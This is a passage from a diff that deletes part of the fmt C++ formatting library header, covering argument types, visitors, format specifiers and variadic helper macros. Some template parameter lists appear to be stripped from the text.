} - std::wstring - str() const { - return std::wstring(&buffer_[0], size()); - } -}; - -// A converter from UTF-16 to UTF-8. -// It is only provided for Windows since other systems support UTF-8 natively. -class UTF16ToUTF8 { -private: - MemoryBuffer buffer_; - -public: - UTF16ToUTF8() {} - FMT_API explicit UTF16ToUTF8(WStringRef s); - operator StringRef() const { return StringRef(&buffer_[0], size()); } - size_t - size() const { - return buffer_.size() - 1; - } - const char* - c_str() const { - return &buffer_[0]; - } - std::string - str() const { - return std::string(&buffer_[0], size()); - } - - // Performs conversion returning a system error code instead of - // throwing exception on conversion error. This method may still throw - // in case of memory allocation error. - FMT_API int convert(WStringRef s); -}; - -FMT_API void -format_windows_error(fmt::Writer& out, int error_code, fmt::StringRef message) FMT_NOEXCEPT; -#endif - -FMT_API void -format_system_error(fmt::Writer& out, int error_code, fmt::StringRef message) FMT_NOEXCEPT; - -// A formatting argument value. -struct Value { - template - struct StringValue { - const Char* value; - std::size_t size; - }; - - typedef void (*FormatFunc)(void* formatter, const void* arg, void* format_str_ptr); - - struct CustomValue { - const void* value; - FormatFunc format; - }; - - union { - int int_value; - unsigned uint_value; - LongLong long_long_value; - ULongLong ulong_long_value; - double double_value; - long double long_double_value; - const void* pointer; - StringValue string; - StringValue sstring; - StringValue ustring; - StringValue wstring; - CustomValue custom; - }; - - enum Type { - NONE, - NAMED_ARG, - // Integer types should go first, - INT, - UINT, - LONG_LONG, - ULONG_LONG, - BOOL, - CHAR, - LAST_INTEGER_TYPE = CHAR, - // followed by floating-point types. - DOUBLE, - LONG_DOUBLE, - LAST_NUMERIC_TYPE = LONG_DOUBLE, - CSTRING, - STRING, - WSTRING, - POINTER, - CUSTOM - }; -}; - -// A formatting argument. It is a POD type to allow storage in -// internal::MemoryBuffer. -struct Arg : Value { - Type type; -}; - -template -struct NamedArg; - -template -struct Null {}; - -// A helper class template to enable or disable overloads taking wide -// characters and strings in MakeValue. -template -struct WCharHelper { - typedef Null Supported; - typedef T Unsupported; -}; - -template -struct WCharHelper { - typedef T Supported; - typedef Null Unsupported; -}; - -typedef char Yes[1]; -typedef char No[2]; - -// These are non-members to workaround an overload resolution bug in bcc32. -Yes& convert(fmt::ULongLong); -Yes& convert(std::ostream&); -No& convert(...); - -template -T& get(); - -struct DummyStream : std::ostream { - DummyStream(); // Suppress a bogus warning in MSVC. - // Hide all operator<< overloads from std::ostream. - void operator<<(Null<>); -}; - -No& operator<<(std::ostream&, int); - -template -struct ConvertToIntImpl { - enum { value = false }; -}; - -template -struct ConvertToIntImpl { - // Convert to int only if T doesn't have an overloaded operator<<. - enum { value = sizeof(convert(get() << get())) == sizeof(No) }; -}; - -template -struct ConvertToIntImpl2 { - enum { value = false }; -}; - -template -struct ConvertToIntImpl2 { - enum { - // Don't convert numeric types. - value = ConvertToIntImpl::is_specialized>::value - }; -}; - -template -struct ConvertToInt { - enum { enable_conversion = sizeof(convert(get())) == sizeof(Yes) }; - enum { value = ConvertToIntImpl2::value }; -}; - -#define FMT_DISABLE_CONVERSION_TO_INT(Type) \ - template <> \ - struct ConvertToInt { \ - enum { value = 0 }; \ - } - -// Silence warnings about convering float to int. -FMT_DISABLE_CONVERSION_TO_INT(float); -FMT_DISABLE_CONVERSION_TO_INT(double); -FMT_DISABLE_CONVERSION_TO_INT(long double); - -template -struct EnableIf {}; - -template -struct EnableIf { - typedef T type; -}; - -template -struct Conditional { - typedef T type; -}; - -template -struct Conditional { - typedef F type; -}; - -// For bcc32 which doesn't understand ! in template arguments. -template -struct Not { - enum { value = 0 }; -}; - -template <> -struct Not { - enum { value = 1 }; -}; - -// Makes an Arg object from any type. -template -class MakeValue : public Arg { -public: - typedef typename Formatter::Char Char; - -private: - // The following two methods are private to disallow formatting of - // arbitrary pointers. If you want to output a pointer cast it to - // "void *" or "const void *". In particular, this forbids formatting - // of "[const] volatile char *" which is printed as bool by iostreams. - // Do not implement! - template - MakeValue(const T* value); - template - MakeValue(T* value); - -// The following methods are private to disallow formatting of wide -// characters and strings into narrow strings as in -// fmt::format("{}", L"test"); -// To fix this, use a wide format string: fmt::format(L"{}", L"test"). -#if !defined(_MSC_VER) || defined(_NATIVE_WCHAR_T_DEFINED) - MakeValue(typename WCharHelper::Unsupported); -#endif - MakeValue(typename WCharHelper::Unsupported); - MakeValue(typename WCharHelper::Unsupported); - MakeValue(typename WCharHelper::Unsupported); - MakeValue(typename WCharHelper::Unsupported); - - void - set_string(StringRef str) { - string.value = str.data(); - string.size = str.size(); - } - - void - set_string(WStringRef str) { - wstring.value = str.data(); - wstring.size = str.size(); - } - - // Formats an argument of a custom type, such as a user-defined class. - template - static void - format_custom_arg(void* formatter, const void* arg, void* format_str_ptr) { - format(*static_cast(formatter), - *static_cast(format_str_ptr), - *static_cast(arg)); - } - -public: - MakeValue() {} - -#define FMT_MAKE_VALUE_(Type, field, TYPE, rhs) \ - MakeValue(Type value) { field = rhs; } \ - static uint64_t type(Type) { return Arg::TYPE; } - -#define FMT_MAKE_VALUE(Type, field, TYPE) FMT_MAKE_VALUE_(Type, field, TYPE, value) - - FMT_MAKE_VALUE(bool, int_value, BOOL) - FMT_MAKE_VALUE(short, int_value, INT) - FMT_MAKE_VALUE(unsigned short, uint_value, UINT) - FMT_MAKE_VALUE(int, int_value, INT) - FMT_MAKE_VALUE(unsigned, uint_value, UINT) - - MakeValue(long value) { - // To minimize the number of types we need to deal with, long is - // translated either to int or to long long depending on its size. - if (check(sizeof(long) == sizeof(int))) - int_value = static_cast(value); - else - long_long_value = value; - } - static uint64_t - type(long) { - return sizeof(long) == sizeof(int) ? Arg::INT : Arg::LONG_LONG; - } - - MakeValue(unsigned long value) { - if (check(sizeof(unsigned long) == sizeof(unsigned))) - uint_value = static_cast(value); - else - ulong_long_value = value; - } - static uint64_t - type(unsigned long) { - return sizeof(unsigned long) == sizeof(unsigned) ? Arg::UINT : Arg::ULONG_LONG; - } - - FMT_MAKE_VALUE(LongLong, long_long_value, LONG_LONG) - FMT_MAKE_VALUE(ULongLong, ulong_long_value, ULONG_LONG) - FMT_MAKE_VALUE(float, double_value, DOUBLE) - FMT_MAKE_VALUE(double, double_value, DOUBLE) - FMT_MAKE_VALUE(long double, long_double_value, LONG_DOUBLE) - FMT_MAKE_VALUE(signed char, int_value, INT) - FMT_MAKE_VALUE(unsigned char, uint_value, UINT) - FMT_MAKE_VALUE(char, int_value, CHAR) - -#if !defined(_MSC_VER) || defined(_NATIVE_WCHAR_T_DEFINED) - MakeValue(typename WCharHelper::Supported value) { int_value = value; } - static uint64_t type(wchar_t) { return Arg::CHAR; } -#endif - -#define FMT_MAKE_STR_VALUE(Type, TYPE) \ - MakeValue(Type value) { set_string(value); } \ - static uint64_t type(Type) { return Arg::TYPE; } - - FMT_MAKE_VALUE(char*, string.value, CSTRING) - FMT_MAKE_VALUE(const char*, string.value, CSTRING) - FMT_MAKE_VALUE(const signed char*, sstring.value, CSTRING) - FMT_MAKE_VALUE(const unsigned char*, ustring.value, CSTRING) - FMT_MAKE_STR_VALUE(const std::string&, STRING) - FMT_MAKE_STR_VALUE(StringRef, STRING) - FMT_MAKE_VALUE_(CStringRef, string.value, CSTRING, value.c_str()) - -#define FMT_MAKE_WSTR_VALUE(Type, TYPE) \ - MakeValue(typename WCharHelper::Supported value) { set_string(value); } \ - static uint64_t type(Type) { return Arg::TYPE; } - - FMT_MAKE_WSTR_VALUE(wchar_t*, WSTRING) - FMT_MAKE_WSTR_VALUE(const wchar_t*, WSTRING) - FMT_MAKE_WSTR_VALUE(const std::wstring&, WSTRING) - FMT_MAKE_WSTR_VALUE(WStringRef, WSTRING) - - FMT_MAKE_VALUE(void*, pointer, POINTER) - FMT_MAKE_VALUE(const void*, pointer, POINTER) - - template - MakeValue(const T& value, - typename EnableIf::value>::value, int>::type = 0) { - custom.value = &value; - custom.format = &format_custom_arg; - } - - template - MakeValue(const T& value, typename EnableIf::value, int>::type = 0) { - int_value = value; - } - - template - static uint64_t - type(const T&) { - return ConvertToInt::value ? Arg::INT : Arg::CUSTOM; - } - - // Additional template param `Char_` is needed here because make_type always - // uses char. - template - MakeValue(const NamedArg& value) { - pointer = &value; - } - - template - static uint64_t - type(const NamedArg&) { - return Arg::NAMED_ARG; - } -}; - -template -struct NamedArg : Arg { - BasicStringRef name; - - typedef internal::MakeValue> MakeValue; - - template - NamedArg(BasicStringRef argname, const T& value) - : Arg(MakeValue(value)), name(argname) { - type = static_cast(MakeValue::type(value)); - } -}; - -#define FMT_DISPATCH(call) static_cast(this)->call - -// An argument visitor. -// To use ArgVisitor define a subclass that implements some or all of the -// visit methods with the same signatures as the methods in ArgVisitor, -// for example, visit_int(int). -// Specify the subclass name as the Impl template parameter. Then calling -// ArgVisitor::visit for some argument will dispatch to a visit method -// specific to the argument type. For example, if the argument type is -// double then visit_double(double) method of a subclass will be called. -// If the subclass doesn't contain a method with this signature, then -// a corresponding method of ArgVisitor will be called. -// -// Example: -// class MyArgVisitor : public ArgVisitor { -// public: -// void visit_int(int value) { print("{}", value); } -// void visit_double(double value) { print("{}", value ); } -// }; -// -// ArgVisitor uses the curiously recurring template pattern: -// http://en.wikipedia.org/wiki/Curiously_recurring_template_pattern -template -class ArgVisitor { -public: - void - report_unhandled_arg() {} - - Result - visit_unhandled_arg() { - FMT_DISPATCH(report_unhandled_arg()); - return Result(); - } - - Result - visit_int(int value) { - return FMT_DISPATCH(visit_any_int(value)); - } - Result - visit_long_long(LongLong value) { - return FMT_DISPATCH(visit_any_int(value)); - } - Result - visit_uint(unsigned value) { - return FMT_DISPATCH(visit_any_int(value)); - } - Result - visit_ulong_long(ULongLong value) { - return FMT_DISPATCH(visit_any_int(value)); - } - Result - visit_bool(bool value) { - return FMT_DISPATCH(visit_any_int(value)); - } - Result - visit_char(int value) { - return FMT_DISPATCH(visit_any_int(value)); - } - template - Result visit_any_int(T) { - return FMT_DISPATCH(visit_unhandled_arg()); - } - - Result - visit_double(double value) { - return FMT_DISPATCH(visit_any_double(value)); - } - Result - visit_long_double(long double value) { - return FMT_DISPATCH(visit_any_double(value)); - } - template - Result visit_any_double(T) { - return FMT_DISPATCH(visit_unhandled_arg()); - } - - Result - visit_cstring(const char*) { - return FMT_DISPATCH(visit_unhandled_arg()); - } - Result - visit_string(Arg::StringValue) { - return FMT_DISPATCH(visit_unhandled_arg()); - } - Result visit_wstring(Arg::StringValue) { return FMT_DISPATCH(visit_unhandled_arg()); } - Result - visit_pointer(const void*) { - return FMT_DISPATCH(visit_unhandled_arg()); - } - Result visit_custom(Arg::CustomValue) { return FMT_DISPATCH(visit_unhandled_arg()); } - - Result - visit(const Arg& arg) { - switch (arg.type) { - default: FMT_ASSERT(false, "invalid argument type"); return Result(); - case Arg::INT: return FMT_DISPATCH(visit_int(arg.int_value)); - case Arg::UINT: return FMT_DISPATCH(visit_uint(arg.uint_value)); - case Arg::LONG_LONG: return FMT_DISPATCH(visit_long_long(arg.long_long_value)); - case Arg::ULONG_LONG: return FMT_DISPATCH(visit_ulong_long(arg.ulong_long_value)); - case Arg::BOOL: return FMT_DISPATCH(visit_bool(arg.int_value != 0)); - case Arg::CHAR: return FMT_DISPATCH(visit_char(arg.int_value)); - case Arg::DOUBLE: return FMT_DISPATCH(visit_double(arg.double_value)); - case Arg::LONG_DOUBLE: return FMT_DISPATCH(visit_long_double(arg.long_double_value)); - case Arg::CSTRING: return FMT_DISPATCH(visit_cstring(arg.string.value)); - case Arg::STRING: return FMT_DISPATCH(visit_string(arg.string)); - case Arg::WSTRING: return FMT_DISPATCH(visit_wstring(arg.wstring)); - case Arg::POINTER: return FMT_DISPATCH(visit_pointer(arg.pointer)); - case Arg::CUSTOM: return FMT_DISPATCH(visit_custom(arg.custom)); - } - } -}; - -class RuntimeError : public std::runtime_error { -protected: - RuntimeError() : std::runtime_error("") {} -}; - -template -class PrintfArgFormatter; - -template -class ArgMap; -} // namespace internal - -/** An argument list. */ -class ArgList { -private: - // To reduce compiled code size per formatting function call, types of first - // MAX_PACKED_ARGS arguments are passed in the types_ field. - uint64_t types_; - union { - // If the number of arguments is less than MAX_PACKED_ARGS, the argument - // values are stored in values_, otherwise they are stored in args_. - // This is done to reduce compiled code size as storing larger objects - // may require more code (at least on x86-64) even if the same amount of - // data is actually copied to stack. It saves ~10% on the bloat test. - const internal::Value* values_; - const internal::Arg* args_; - }; - - internal::Arg::Type - type(unsigned index) const { - unsigned shift = index * 4; - uint64_t mask = 0xf; - return static_cast((types_ & (mask << shift)) >> shift); - } - - template - friend class internal::ArgMap; - -public: - // Maximum number of arguments with packed types. - enum { MAX_PACKED_ARGS = 16 }; - - ArgList() : types_(0) {} - - ArgList(ULongLong types, const internal::Value* values) : types_(types), values_(values) {} - ArgList(ULongLong types, const internal::Arg* args) : types_(types), args_(args) {} - - /** Returns the argument at specified index. */ - internal::Arg operator[](unsigned index) const { - using internal::Arg; - Arg arg; - bool use_values = type(MAX_PACKED_ARGS - 1) == Arg::NONE; - if (index < MAX_PACKED_ARGS) { - Arg::Type arg_type = type(index); - internal::Value& val = arg; - if (arg_type != Arg::NONE) val = use_values ? values_[index] : args_[index]; - arg.type = arg_type; - return arg; - } - if (use_values) { - // The index is greater than the number of arguments that can be stored - // in values, so return a "none" argument. - arg.type = Arg::NONE; - return arg; - } - for (unsigned i = MAX_PACKED_ARGS; i <= index; ++i) { - if (args_[i].type == Arg::NONE) return args_[i]; - } - return args_[index]; - } -}; - -enum Alignment { ALIGN_DEFAULT, ALIGN_LEFT, ALIGN_RIGHT, ALIGN_CENTER, ALIGN_NUMERIC }; - -// Flags. -enum { - SIGN_FLAG = 1, - PLUS_FLAG = 2, - MINUS_FLAG = 4, - HASH_FLAG = 8, - CHAR_FLAG = 0x10 // Argument has char type - used in error reporting. -}; - -// An empty format specifier. -struct EmptySpec {}; - -// A type specifier. -template -struct TypeSpec : EmptySpec { - Alignment - align() const { - return ALIGN_DEFAULT; - } - unsigned - width() const { - return 0; - } - int - precision() const { - return -1; - } - bool - flag(unsigned) const { - return false; - } - char - type() const { - return TYPE; - } - char - fill() const { - return ' '; - } -}; - -// A width specifier. -struct WidthSpec { - unsigned width_; - // Fill is always wchar_t and cast to char if necessary to avoid having - // two specialization of WidthSpec and its subclasses. - wchar_t fill_; - - WidthSpec(unsigned width, wchar_t fill) : width_(width), fill_(fill) {} - - unsigned - width() const { - return width_; - } - wchar_t - fill() const { - return fill_; - } -}; - -// An alignment specifier. -struct AlignSpec : WidthSpec { - Alignment align_; - - AlignSpec(unsigned width, wchar_t fill, Alignment align = ALIGN_DEFAULT) - : WidthSpec(width, fill), align_(align) {} - - Alignment - align() const { - return align_; - } - - int - precision() const { - return -1; - } -}; - -// An alignment and type specifier. -template -struct AlignTypeSpec : AlignSpec { - AlignTypeSpec(unsigned width, wchar_t fill) : AlignSpec(width, fill) {} - - bool - flag(unsigned) const { - return false; - } - char - type() const { - return TYPE; - } -}; - -// A full format specifier. -struct FormatSpec : AlignSpec { - unsigned flags_; - int precision_; - char type_; - - FormatSpec(unsigned width = 0, char type = 0, wchar_t fill = ' ') - : AlignSpec(width, fill), flags_(0), precision_(-1), type_(type) {} - - bool - flag(unsigned f) const { - return (flags_ & f) != 0; - } - int - precision() const { - return precision_; - } - char - type() const { - return type_; - } -}; - -// An integer format specifier. -template , typename Char = char> -class IntFormatSpec : public SpecT { -private: - T value_; - -public: - IntFormatSpec(T val, const SpecT& spec = SpecT()) : SpecT(spec), value_(val) {} - - T - value() const { - return value_; - } -}; - -// A string format specifier. -template -class StrFormatSpec : public AlignSpec { -private: - const Char* str_; - -public: - template - StrFormatSpec(const Char* str, unsigned width, FillChar fill) - : AlignSpec(width, fill), str_(str) { - internal::CharTraits::convert(FillChar()); - } - - const Char* - str() const { - return str_; - } -}; - -/** -Returns an integer format specifier to format the value in base 2. -*/ -IntFormatSpec> bin(int value); - -/** -Returns an integer format specifier to format the value in base 8. -*/ -IntFormatSpec> oct(int value); - -/** -Returns an integer format specifier to format the value in base 16 using -lower-case letters for the digits above 9. -*/ -IntFormatSpec> hex(int value); - -/** -Returns an integer formatter format specifier to format in base 16 using -upper-case letters for the digits above 9. -*/ -IntFormatSpec> hexu(int value); - -/** -\rst -Returns an integer format specifier to pad the formatted argument with the -fill character to the specified width using the default (right) numeric -alignment. - -**Example**:: - -MemoryWriter out; -out << pad(hex(0xcafe), 8, '0'); -// out.str() == "0000cafe" - -\endrst -*/ -template -IntFormatSpec, Char> pad(int value, unsigned width, Char fill = ' '); - -#define FMT_DEFINE_INT_FORMATTERS(TYPE) \ - inline IntFormatSpec> bin(TYPE value) { \ - return IntFormatSpec>(value, TypeSpec<'b'>()); \ - } \ - \ - inline IntFormatSpec> oct(TYPE value) { \ - return IntFormatSpec>(value, TypeSpec<'o'>()); \ - } \ - \ - inline IntFormatSpec> hex(TYPE value) { \ - return IntFormatSpec>(value, TypeSpec<'x'>()); \ - } \ - \ - inline IntFormatSpec> hexu(TYPE value) { \ - return IntFormatSpec>(value, TypeSpec<'X'>()); \ - } \ - \ - template \ - inline IntFormatSpec> pad( \ - IntFormatSpec> f, unsigned width) { \ - return IntFormatSpec>( \ - f.value(), AlignTypeSpec(width, ' ')); \ - } \ - \ - /* For compatibility with older compilers we provide two overloads for pad, */ \ - /* one that takes a fill character and one that doesn't. In the future this */ \ - /* can be replaced with one overload making the template argument Char */ \ - /* default to char (C++11). */ \ - template \ - inline IntFormatSpec, Char> pad( \ - IntFormatSpec, Char> f, unsigned width, Char fill) { \ - return IntFormatSpec, Char>( \ - f.value(), AlignTypeSpec(width, fill)); \ - } \ - \ - inline IntFormatSpec> pad(TYPE value, unsigned width) { \ - return IntFormatSpec>(value, AlignTypeSpec<0>(width, ' ')); \ - } \ - \ - template \ - inline IntFormatSpec, Char> pad( \ - TYPE value, unsigned width, Char fill) { \ - return IntFormatSpec, Char>(value, AlignTypeSpec<0>(width, fill)); \ - } - -FMT_DEFINE_INT_FORMATTERS(int) -FMT_DEFINE_INT_FORMATTERS(long) -FMT_DEFINE_INT_FORMATTERS(unsigned) -FMT_DEFINE_INT_FORMATTERS(unsigned long) -FMT_DEFINE_INT_FORMATTERS(LongLong) -FMT_DEFINE_INT_FORMATTERS(ULongLong) - -/** -\rst -Returns a string formatter that pads the formatted argument with the fill -character to the specified width using the default (left) string alignment. - -**Example**:: - -std::string s = str(MemoryWriter() << pad("abc", 8)); -// s == "abc " - -\endrst -*/ -template -inline StrFormatSpec -pad(const Char* str, unsigned width, Char fill = ' ') { - return StrFormatSpec(str, width, fill); -} - -inline StrFormatSpec -pad(const wchar_t* str, unsigned width, char fill = ' ') { - return StrFormatSpec(str, width, fill); -} - -namespace internal { - -template -class ArgMap { -private: - typedef std::map, internal::Arg> MapType; - typedef typename MapType::value_type Pair; - - MapType map_; - -public: - FMT_API void init(const ArgList& args); - - const internal::Arg* - find(const fmt::BasicStringRef& name) const { - typename MapType::const_iterator it = map_.find(name); - return it != map_.end() ? &it->second : 0; - } -}; - -template -class ArgFormatterBase : public ArgVisitor { -private: - BasicWriter& writer_; - FormatSpec& spec_; - - FMT_DISALLOW_COPY_AND_ASSIGN(ArgFormatterBase); - - void - write_pointer(const void* p) { - spec_.flags_ = HASH_FLAG; - spec_.type_ = 'x'; - writer_.write_int(reinterpret_cast(p), spec_); - } - -protected: - BasicWriter& - writer() { - return writer_; - } - FormatSpec& - spec() { - return spec_; - } - - void - write(bool value) { - const char* str_value = value ? "true" : "false"; - Arg::StringValue str = { str_value, std::strlen(str_value) }; - writer_.write_str(str, spec_); - } - - void - write(const char* value) { - Arg::StringValue str = { value, value != 0 ? std::strlen(value) : 0 }; - writer_.write_str(str, spec_); - } - -public: - ArgFormatterBase(BasicWriter& w, FormatSpec& s) : writer_(w), spec_(s) {} - - template - void - visit_any_int(T value) { - writer_.write_int(value, spec_); - } - - template - void - visit_any_double(T value) { - writer_.write_double(value, spec_); - } - - void - visit_bool(bool value) { - if (spec_.type_) return visit_any_int(value); - write(value); - } - - void - visit_char(int value) { - if (spec_.type_ && spec_.type_ != 'c') { - spec_.flags_ |= CHAR_FLAG; - writer_.write_int(value, spec_); - return; - } - if (spec_.align_ == ALIGN_NUMERIC || spec_.flags_ != 0) - FMT_THROW(FormatError("invalid format specifier for char")); - typedef typename BasicWriter::CharPtr CharPtr; - Char fill = internal::CharTraits::cast(spec_.fill()); - CharPtr out = CharPtr(); - const unsigned CHAR_WIDTH = 1; - if (spec_.width_ > CHAR_WIDTH) { - out = writer_.grow_buffer(spec_.width_); - if (spec_.align_ == ALIGN_RIGHT) { - std::uninitialized_fill_n(out, spec_.width_ - CHAR_WIDTH, fill); - out += spec_.width_ - CHAR_WIDTH; - } else if (spec_.align_ == ALIGN_CENTER) { - out = writer_.fill_padding(out, spec_.width_, internal::check(CHAR_WIDTH), fill); - } else { - std::uninitialized_fill_n(out + CHAR_WIDTH, spec_.width_ - CHAR_WIDTH, fill); - } - } else { - out = writer_.grow_buffer(CHAR_WIDTH); - } - *out = internal::CharTraits::cast(value); - } - - void - visit_cstring(const char* value) { - if (spec_.type_ == 'p') return write_pointer(value); - write(value); - } - - void - visit_string(Arg::StringValue value) { - writer_.write_str(value, spec_); - } - - using ArgVisitor::visit_wstring; - - void - visit_wstring(Arg::StringValue value) { - writer_.write_str(value, spec_); - } - - void - visit_pointer(const void* value) { - if (spec_.type_ && spec_.type_ != 'p') report_unknown_type(spec_.type_, "pointer"); - write_pointer(value); - } -}; - -// An argument formatter. -template -class BasicArgFormatter : public ArgFormatterBase, Char> { -private: - BasicFormatter& formatter_; - const Char* format_; - -public: - BasicArgFormatter(BasicFormatter& f, FormatSpec& s, const Char* fmt) - : ArgFormatterBase, Char>(f.writer(), s), formatter_(f), format_(fmt) {} - - void - visit_custom(Arg::CustomValue c) { - c.format(&formatter_, c.value, &format_); - } -}; - -class FormatterBase { -private: - ArgList args_; - int next_arg_index_; - - // Returns the argument with specified index. - FMT_API Arg do_get_arg(unsigned arg_index, const char*& error); - -protected: - const ArgList& - args() const { - return args_; - } - - explicit FormatterBase(const ArgList& args) { - args_ = args; - next_arg_index_ = 0; - } - - // Returns the next argument. - Arg - next_arg(const char*& error) { - if (next_arg_index_ >= 0) return do_get_arg(next_arg_index_++, error); - error = "cannot switch from manual to automatic argument indexing"; - return Arg(); - } - - // Checks if manual indexing is used and returns the argument with - // specified index. - Arg - get_arg(unsigned arg_index, const char*& error) { - return check_no_auto_index(error) ? do_get_arg(arg_index, error) : Arg(); - } - - bool - check_no_auto_index(const char*& error) { - if (next_arg_index_ > 0) { - error = "cannot switch from automatic to manual argument indexing"; - return false; - } - next_arg_index_ = -1; - return true; - } - - template - void - write(BasicWriter& w, const Char* start, const Char* end) { - if (start != end) w << BasicStringRef(start, end - start); - } -}; - -// A printf formatter. -template -class PrintfFormatter : private FormatterBase { -private: - void parse_flags(FormatSpec& spec, const Char*& s); - - // Returns the argument with specified index or, if arg_index is equal - // to the maximum unsigned value, the next argument. - Arg get_arg(const Char* s, unsigned arg_index = (std::numeric_limits::max)()); - - // Parses argument index, flags and width and returns the argument index. - unsigned parse_header(const Char*& s, FormatSpec& spec); - -public: - explicit PrintfFormatter(const ArgList& args) : FormatterBase(args) {} - FMT_API void format(BasicWriter& writer, BasicCStringRef format_str); -}; -} // namespace internal - -// A formatter. -template -class BasicFormatter : private internal::FormatterBase { -public: - typedef CharType Char; - -private: - BasicWriter& writer_; - internal::ArgMap map_; - - FMT_DISALLOW_COPY_AND_ASSIGN(BasicFormatter); - - using internal::FormatterBase::get_arg; - - // Checks if manual indexing is used and returns the argument with - // specified name. - internal::Arg get_arg(BasicStringRef arg_name, const char*& error); - - // Parses argument index and returns corresponding argument. - internal::Arg parse_arg_index(const Char*& s); - - // Parses argument name and returns corresponding argument. - internal::Arg parse_arg_name(const Char*& s); - -public: - BasicFormatter(const ArgList& args, BasicWriter& w) - : internal::FormatterBase(args), writer_(w) {} - - BasicWriter& - writer() { - return writer_; - } - - void format(BasicCStringRef format_str); - - const Char* format(const Char*& format_str, const internal::Arg& arg); -}; - -// Generates a comma-separated list with results of applying f to -// numbers 0..n-1. -#define FMT_GEN(n, f) FMT_GEN##n(f) -#define FMT_GEN1(f) f(0) -#define FMT_GEN2(f) FMT_GEN1(f), f(1) -#define FMT_GEN3(f) FMT_GEN2(f), f(2) -#define FMT_GEN4(f) FMT_GEN3(f), f(3) -#define FMT_GEN5(f) FMT_GEN4(f), f(4) -#define FMT_GEN6(f) FMT_GEN5(f), f(5) -#define FMT_GEN7(f) FMT_GEN6(f), f(6) -#define FMT_GEN8(f) FMT_GEN7(f), f(7) -#define FMT_GEN9(f) FMT_GEN8(f), f(8) -#define FMT_GEN10(f) FMT_GEN9(f), f(9) -#define FMT_GEN11(f) FMT_GEN10(f), f(10) -#define FMT_GEN12(f) FMT_GEN11(f), f(11) -#define FMT_GEN13(f) FMT_GEN12(f), f(12) -#define FMT_GEN14(f) FMT_GEN13(f), f(13) -#define FMT_GEN15(f) FMT_GEN14(f), f(14) - -namespace internal { -inline uint64_t -make_type() { - return 0; -} - -template -inline uint64_t -make_type(const T& arg) { - return MakeValue>::type(arg); -} - -template -struct ArgArray { - // Computes the argument array size by adding 1 to N, which is the number of - // arguments, if N is zero, because array of zero size is invalid, or if N - // is greater than ArgList::MAX_PACKED_ARGS to accommodate for an extra - // argument that marks the end of the list. - enum { SIZE = N + (N == 0 || N >= ArgList::MAX_PACKED_ARGS ? 1 : 0) }; - - typedef typename Conditional<(N < ArgList::MAX_PACKED_ARGS), Value, Arg>::type Type[SIZE]; -}; - -#if FMT_USE_VARIADIC_TEMPLATES -template -inline uint64_t -make_type(const Arg& first, const Args&... tail) { - return make_type(first) | (make_type(tail...) << 4); -} - -inline void -do_set_types(Arg*) {} - -template -inline void -do_set_types(Arg* args, const T& arg, const Args&... tail) { - args->type = static_cast(MakeValue>::type(arg)); - do_set_types(args + 1, tail...); -} - -template -inline void -set_types(Arg* array, const Args&... args) { - if (check(sizeof...(Args) > ArgList::MAX_PACKED_ARGS)) do_set_types(array, args...); - array[sizeof...(Args)].type = Arg::NONE; -} - -template -inline void -set_types(Value*, const Args&...) { - // Do nothing as types are passed separately from values. -} - -template -inline void -store_args(Value*) {} - -template -inline void -store_args(Arg* args, const T& arg, const Args&... tail) { - // Assign only the Value subobject of Arg and don't overwrite type (if any) - // that is assigned by set_types. - Value& value = *args; - value = MakeValue(arg); - store_args(args + 1, tail...); -} - -template -ArgList -make_arg_list(typename ArgArray::Type array, const Args&... args) { - if (check(sizeof...(Args) >= ArgList::MAX_PACKED_ARGS)) set_types(array, args...); - store_args(array, args...); - return ArgList(make_type(args...), array); -} -#else - -struct ArgType { - uint64_t type; - - ArgType() : type(0) {} - - template - ArgType(const T& arg) - : type(make_type(arg)) {} -}; - -#define FMT_ARG_TYPE_DEFAULT(n) ArgType t##n = ArgType() - -inline uint64_t make_type(FMT_GEN15(FMT_ARG_TYPE_DEFAULT)) { - return t0.type | (t1.type << 4) | (t2.type << 8) | (t3.type << 12) | (t4.type << 16) | - (t5.type << 20) | (t6.type << 24) | (t7.type << 28) | (t8.type << 32) | (t9.type << 36) | - (t10.type << 40) | (t11.type << 44) | (t12.type << 48) | (t13.type << 52) | - (t14.type << 56); -} -#endif - -template -class FormatBuf : public std::basic_streambuf { -private: - typedef typename std::basic_streambuf::int_type int_type; - typedef typename std::basic_streambuf::traits_type traits_type; - - Buffer& buffer_; - Char* start_; - -public: - FormatBuf(Buffer& buffer) : buffer_(buffer), start_(&buffer[0]) { - this->setp(start_, start_ + buffer_.capacity()); - } - - int_type - overflow(int_type ch = traits_type::eof()) { - if (!traits_type::eq_int_type(ch, traits_type::eof())) { - size_t size = this->pptr() - start_; - buffer_.resize(size); - buffer_.reserve(size * 2); - - start_ = &buffer_[0]; - start_[size] = traits_type::to_char_type(ch); - this->setp(start_ + size + 1, start_ + size * 2); - } - return ch; - } - - size_t - size() const { - return this->pptr() - start_; - } -}; -} // namespace internal - -#define FMT_MAKE_TEMPLATE_ARG(n) typename T##n -#define FMT_MAKE_ARG_TYPE(n) T##n -#define FMT_MAKE_ARG(n) const T##n& v##n -#define FMT_ASSIGN_char(n) arr[n] = fmt::internal::MakeValue>(v##n) -#define FMT_ASSIGN_wchar_t(n) arr[n] = fmt::internal::MakeValue>(v##n) - -#if FMT_USE_VARIADIC_TEMPLATES -// Defines a variadic function returning void. -#define FMT_VARIADIC_VOID(func, arg_type) \ - template \ - void func(arg_type arg0, const Args&... args) { \ - typename fmt::internal::ArgArray::Type array; \ - func(arg0, fmt::internal::make_arg_list>(array, args...)); \ - } - -// Defines a variadic constructor. -#define FMT_VARIADIC_CTOR(ctor, func, arg0_type, arg1_type) \ - template \ - ctor(arg0_type arg0, arg1_type arg1, const Args&... args) { \ - typename fmt::internal::ArgArray::Type array; \ - func(arg0, arg1, fmt::internal::make_arg_list>(array, args...)); \ - } - -#else - -#define FMT_MAKE_REF(n) fmt::internal::MakeValue>(v##n) -#define FMT_MAKE_REF2(n) v##n - -// Defines a wrapper for a function taking one argument of type arg_type -// and n additional arguments of arbitrary types. -#define FMT_WRAP1(func, arg_type, n) \ - template \ - inline void func(arg_type arg1, FMT_GEN(n, FMT_MAKE_ARG)) { \ - const fmt::internal::ArgArray::Type array = { FMT_GEN(n, FMT_MAKE_REF) }; \ - func(arg1, fmt::ArgList(fmt::internal::make_type(FMT_GEN(n, FMT_MAKE_REF2)), array)); \ - } - -// Emulates a variadic function returning void on a pre-C++11 compiler. -#define FMT_VARIADIC_VOID(func, arg_type) \ - inline void func(arg_type arg) { func(arg, fmt::ArgList()); } \ - FMT_WRAP1(func, arg_type, 1) \ - FMT_WRAP1(func, arg_type, 2) FMT_WRAP1(func, 